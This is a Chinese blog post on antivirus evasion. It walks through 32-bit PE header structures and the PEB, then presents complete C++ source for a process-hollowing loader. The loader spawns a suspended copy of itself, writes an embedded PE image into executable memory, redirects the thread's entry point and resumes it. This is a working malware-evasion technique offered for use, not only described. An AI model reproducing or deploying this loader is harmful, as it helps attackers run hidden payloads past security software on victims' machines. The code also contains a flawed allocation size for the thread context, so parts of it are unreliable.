Joe1sn's Cabinet

【免杀】内存加载PE文件

使用windows API编写PE文件加载器(Loader)
目前支支持32位

PE文件结构

在《逆向工程核心原理》中讲的已经很详细了,这里主要面向32位的可执行程序来讲解。

MZ

DOS头和PE头统称为PE头,下面的部分称之为PE体。

DOS头

DOS头的文件结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // 文件最后一页的字节数
WORD e_cp; // 文件中的页数
WORD e_crlc; // 重定位
WORD e_cparhdr; // 段中头大小
WORD e_minalloc; // 需要最少的额外段落
WORD e_maxalloc; // 需要最多的额外段落
WORD e_ss; // 初始(相对)SS 值
WORD e_sp; // 初始SP值
WORD e_csum; // Checksum
WORD e_ip; // 初始 IP 值
WORD e_cs; // 初始(相对)CS 值
WORD e_lfarlc; // 重定位表的文件地址
WORD e_ovno; // 叠加数
WORD e_res[4]; // 保留字
WORD e_oemid; // OEM 标识符(用于 e_oeminfo)
WORD e_oeminfo; // OEM信息; e_oemid 具体
WORD e_res2[10]; // 保留字
LONG e_lfanew; // 新exe头文件地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

其中DOS头有一个很重要的部分e_lfanew,他指向了exe的文件头,在我们编写的loader获取头的部分

1
2
DOSHeader = PIMAGE_DOS_HEADER(Image);								//得到DOS头
NTHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); //得到PE头

NT头

那么关于NT文件头

1
2
3
4
5
6
7
8
9
10
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; //文件类型
// IMAGE_DOS_SIGNATURE 0x5A4D // MZ
// IMAGE_OS2_SIGNATURE 0x454E // NE
// IMAGE_OS2_SIGNATURE_LE 0x454C // LE
// IMAGE_VXD_SIGNATURE 0x454C // LE
// IMAGE_NT_SIGNATURE 0x00004550 // PE00
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

这个文件头很关键,Signature可以判断类型,FileHeader即文件头,可以从NumberOfSections获得节区数目。

OPTIONAL_HEADER结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//

WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;

//
// NT additional fields.
//

DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

OPTIONAL_HEADER中记载了很多详细信息,其中有用的就是ImageBaseSizeOfHeadersAddressOfEntryPoint

  • ImageBase:描写在虚拟内存中(不了解操作系统的话可以理解为程序启动的基地址)的地址
  • SizeOfHeaders:记录了整个PE头的大小(包含DOS头),方便控制写入程序的大小
  • AddressOfEntryPoint记录程序入口代码起始地址,比如ImageBase可能为0x4000,AddressOfEntryPoint可能为0x4100。

IAT导入表

Windows为了知道使用了那些函数,会导入这些函数的表,从导入表到动态链接中查找函数。每一个节都会有一个导入表,每一个表的信息有40字节,那么找到表的地址就是base + count*40,其中baseDOSHeader->e_lfanew+248,这里是导入表的初始地址的指针。

进程结构

Pre- PEB

这部分是铺垫的内容,主要描述的就是几个基础寄存器。

这些寄存器是CPU中设计好的,

  • CS (Code Segment Register):代码段的段基址
  • DS(Data Segment Register):数据段的段基址
  • ES(Extra Segment Register):其值为附加数据段的段基值,称为“附加”是因为此段寄存器用途不像其他 sreg 那样固定,可以额外做他用。
  • FS(Extra Segment Register):其值为附加数据段的段基值
  • GS:同上
  • SS(Stack Segment Register):堆栈段寄存器
  1. 在实模式中,CS、DS、ES、SS中的值是物理地址
  2. 在保护模式中,装入寄存器的是段选择子FS

其中最重要的就是 FS寄存器。在保护模式下,x86处理器使用段描述符来管理内存,将内存划分为不同的段,如代码段、数据段、堆栈段等。段选择子是一个16位的值,用于标识特定段的起始地址和访问权限。

FS寄存器主要有两个作用:

  1. 定位线程局部存储(Thread Local Storage,TLS):
    • 在多线程程序中,每个线程通常都有自己的TLS,用于存储线程本地的数据,如线程特定变量。
    • FS寄存器中存储了一个特殊的段选择子,用于定位线程的TLS。
    • 线程可以通过访问FS寄存器来访问自己的TLS。
  2. 访问段描述符表(Global Descriptor Table,GDT):
    • GDT是一个表格,用于存储段描述符的信息,包括段的起始地址、大小、访问权限等。
    • FS寄存器中存储了GDT中的一个段选择子,该段选择子指向了一个描述线程局部存储段的段描述符。
    • 当线程需要访问TLS时,通过访问FS寄存器中的段选择子,可以获得TLS的起始地址和访问权限。

PEB

PEB全称是 Process Environment Block,进程环境块

为了获取PEB的消息可以直接从FS段选择子找到TEB(线程环境块),再从TEB找到PEB,这里可以CTX->Ebx + 8找到PEB

编程相关

创建一个进程我们可以使用CreateProcess函数

新进程在调用进程的安全上下文中运行。

如果调用进程正在模拟其他用户,则新进程将令牌用于调用进程,而不是模拟令牌。 若要在模拟令牌表示的用户的安全上下文中运行新进程,请使用 CreateProcessAsUserCreateProcessWithLogonW 函数。

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
  • lpApplicationName:exe的文件路径,比如c:\test.exe

  • lpCommandLine:要执行该程序时的参数

  • bInheritHandles:如果此参数为 TRUE,则调用进程中的每个可继承句柄都由新进程继承。 如果参数为 FALSE,则不继承句柄。

  • dwCreationFlags:控制优先级类和进程的创建的标志

  • lpProcessInformation:进程信息

    windows中使用PROCESS_INFORMATION描述

    1
    2
    3
    4
    5
    6
    typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess; //新创建的进程的句柄。 句柄用于在对进程对象执行操作的所有函数中指定进程。
    HANDLE hThread; //新创建的进程的主线程的句柄。 句柄用于在线程对象上执行操作的所有函数中指定线程。
    DWORD dwProcessId; //可用于标识进程的值。 从创建进程到进程的所有句柄关闭并释放进程对象为止,该值有效;此时,可以重复使用标识符。
    DWORD dwThreadId; //可用于标识线程的值。 在线程创建到线程的所有句柄关闭且线程对象释放之前,该值有效;此时,可以重复使用标识符。
    } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
  • lpStartupInfo:启动时的信息

    同时如果要开启一个进程的话需要向其提供基础环境,windows中为STARTUPINFOA,指定创建时进程的主窗口的窗口工作站、桌面、标准句柄和外观。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    typedef struct _STARTUPINFOA {
    DWORD cb; //结构大小(以字节为单位)。
    LPSTR lpReserved; //保留;必须为 NULL
    ...
    DWORD dwFlags; //一个位字段,用于确定进程创建窗口时是否使用某些 STARTUPINFO 成员。 此成员可以是以下一个或多个值。
    //参考 https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
    ...
    WORD cbReserved2; //保留供 C 运行时使用;必须为零。
    LPBYTE lpReserved2; //保留供 C 运行时使用;必须为 NULL。
    HANDLE hStdInput;
    HANDLE hStdOutput;
    HANDLE hStdError;
    } STARTUPINFOA, *LPSTARTUPINFOA;

最后创建好的进程就在lpProcessInformationhProcess中了

编写Loader(进程镂空)

知道了加载过程,那么

  1. 获得DOS头,从而获得NT头
  2. 检查是否为正确的文件格式(PE)
  3. 初始化进程信息和启动时信息
  4. 创建当前程序进程的副本,并将副本设置为暂停
  5. 根据上下文信息找到导入表和PEB
  6. 复制导入表和PEB,将EAX设置为待加载PE文件的入口地址DWORD(pImageBase) + NTHeader->OptionalHeader.AddressOfEntryPoint;
  7. 恢复暂停的副本,运行加载的PE文件

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <windows.h>
#include <iostream>
#include <string>
#include <TlHelp32.h>

int RunPe(HANDLE Image)
{
IMAGE_DOS_HEADER* DOSHeader; //DOS文件头
IMAGE_NT_HEADERS* NTHeader; //PE文件头
IMAGE_SECTION_HEADER* SectionHeader; //节头

PROCESS_INFORMATION PI; //进程信息
STARTUPINFOA SI; //启动信息

DWORD* ImageBase; //VAR基地址
void* pImageBase; //指向头的指针

int count;
char FilePath[1024];

DOSHeader = PIMAGE_DOS_HEADER(Image); //得到DOS头
NTHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); //得到PE头

GetModuleFileNameA(0, FilePath, 1024);

if (NTHeader->Signature == IMAGE_NT_SIGNATURE) { //检查是否为PE文件
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));

if (CreateProcessA(FilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { //创建当前进程的暂停副本
CONTEXT *CTX = PCONTEXT(VirtualAlloc(NULL,sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; //创建上下文

if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { //如果上下文在线程中
//读取指令
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NTHeader->OptionalHeader.ImageBase),
NTHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

// 向进程的暂停副本写入指令
WriteProcessMemory(PI.hProcess, pImageBase, Image, NTHeader->OptionalHeader.SizeOfHeaders, NULL);

for (count = 0; count < NTHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew+248+(count*40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&NTHeader->OptionalHeader.ImageBase), 4, 0);

//将入口地址放入EAX寄存器
CTX->Eax = DWORD(pImageBase) + NTHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 1;
}
}
}
}

unsigned char rawData[91209] = {...};

int main()
{
RunPe(rawData);
//getchar();
return 0;
}

result